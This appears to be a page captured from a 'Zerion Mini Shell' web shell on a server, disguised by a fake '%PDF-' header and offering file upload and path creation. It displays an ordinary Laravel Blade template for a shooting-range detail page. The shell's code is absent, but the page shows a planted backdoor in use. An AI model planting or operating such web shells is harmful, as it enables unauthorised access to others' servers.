%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/test/resources/views/ranges/
Upload File :
Create Path :
Current File : //www/loslex/test/resources/views/ranges/show.blade.php

<x-app-layout>
    <x-slot name="pagetitle">{{ __('Range') . '  ' . $range->name }}</x-slot>
    <x-slot name="header"><h2 class="text-gray-800 dark:text-gray-200 leading-tight">{{ __('Range') . '  ' . $range->name }}</h2></x-slot>

    <div class="m-auto grid grid-cols-[max-w-full_auto] gap-x-2 lg:gap-x-4 gap-y-1 w-full lg:w-3/4 pb-2">

        <div class="text-center text-lg font-bold col-span-2 border-b">
            {{$range->name}}
            @if (auth()->user()?->is_admin)
                <a href="{{ route('range.edit', $range->id) }}" class="ml-2"><span class=" fa-solid fa-pen no-underline"></span></a>
            @endif
        </div>

        @if (!$range->is_active)
        <div class="col-span-2 w-full mt-4 text-center font-semibold">{{ __('This shooting range is closed until further notice!') }}</div>
        @endif

        @if ($range->address)
            <div class="text-right font-bold">{{__('Address')}}:</div>
            <div class="text-sm">{{$range->address}}</div>
        @endif

        @if ($range->region)
            <div class="text-right font-bold">{{__('Region')}}:</div>
            <div class="text-sm">{{ __('region.' . \App\Enums\RangeRegionEnum::from($range->region)->name) }}</div>
        @endif

        @if ($range->phone)
            <div class="text-right font-bold">{{__('Phone number')}}:</div>
            <div class="text-sm">{{$range->phone}}</div>
        @endif

        @if ($range->web)
            <div class="text-right font-bold">{{__('Web')}}:</div>
            <div class="text-sm"><a href="{{$range->web}}" target="_blank">{{$range->web}}</a></div>
        @endif

        @if ($range->email)
            <div class="text-right font-bold">{{__('Email')}}:</div>
            <div class="text-sm"><a href="mailto:{{$range->email}}">{{$range->email}}</a></div>
        @endif

        @if ($range->note)
            <div class="text-right font-bold">{{__('Note')}}:</div>
            <div class="text-sm">{{$range->note}}</div>
        @endif

        @if ($range->coords)
            <div class="text-right font-bold">{{__('Location')}}:</div>
            <div >
                <span class="text-sm">{{ $range->location }}</span>
                <x-button-clipboard>{{ $range->location }}</x-button-clipboard>
                <a title="{{ __('Navigate with Waze') }}" class="ml-2" target="_blank" href="{{ $range->getWazeLink}}"><button class="fa-brands fa-waze"></button></a>
            </div>

            <div class="col-span-2 w-full mt-4">
                <x-maps-google
                    style="height: 32rem"
                    :centerPoint="['lat' => $range->coords->latitude, 'long' => $range->coords->longitude]"
                    :markers="[['lat' => $range->coords->latitude, 'long' => $range->coords->longitude]]"
                    :zoomLevel="17"
                    ></x-maps-google>
            </div>
        @endif

        @if ($contests->count())
            <div class="mt-4 text-right font-bold align-tlign-top">{{__('Upcoming contests')}}:</div>
            <div class="mt-4 text-sm">
                <ul>
                    @foreach ($contests as $contest)
                        <li><a href="{{ route('contest.show', $contest->id) }}">{{ $contest->date->isoFormat('LL') }} - {{ $contest->contestname }}</a></li>
                    @endforeach
                </ul>
            </div>
        @endif
    </div>

</x-app-layout>

Zerion Mini Shell 1.0